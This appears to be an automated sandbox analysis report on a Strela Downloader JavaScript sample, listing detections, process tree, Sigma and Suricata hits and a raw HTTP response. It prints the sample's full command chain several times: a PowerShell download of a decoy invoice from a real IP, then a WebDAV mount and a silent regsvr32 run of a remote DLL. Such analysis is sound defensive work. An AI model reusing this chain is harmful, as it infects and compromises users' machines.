Edit tour

Windows Analysis Report
142628891044814616.js

Overview

General Information

Sample name:	142628891044814616.js
Analysis ID:	1588545
MD5:	6adf78c80ee43248c4fc6306509a4f4f
SHA1:	5468b656ff483a11d9bc894aaaa9550a921fcf3a
SHA256:	165d3f10e9fd488b2e05d7d3cb6c413474cbe6248430d1f8908e397c76c1c41d
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5368 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\142628891044814616.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6388 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6680 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3300 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7276 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7500 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1588,i,12066462918445797092,6122849702291831684,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 2548 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7044 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7340 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5368	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6388, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6680, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6388, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6680, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\142628891044814616.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\142628891044814616.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\142628891044814616.js", ProcessId: 5368, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7044, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49700

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\142628891044814616.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5368, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, ProcessId: 6388, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\142628891044814616.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5368, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, ProcessId: 6388, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\142628891044814616.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5368, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, ProcessId: 6388, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\142628891044814616.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5368, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, ProcessId: 6388, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\142628891044814616.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5368, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, ProcessId: 6388, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\142628891044814616.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5368, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, ProcessId: 6388, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\142628891044814616.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\142628891044814616.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\142628891044814616.js", ProcessId: 5368, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6388, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6680, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2548, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7044, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7340, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2548, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7044, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\142628891044814616.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5368, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16194298507351.dll, ProcessId: 6388, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:16:28.668157+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:16:31.069074+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:16:28.668157+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 142628891044814616.js

Virustotal: Detection: 13%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 142628891044814616.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 142628891044814616.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.7:49699 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49700 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:16:28 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 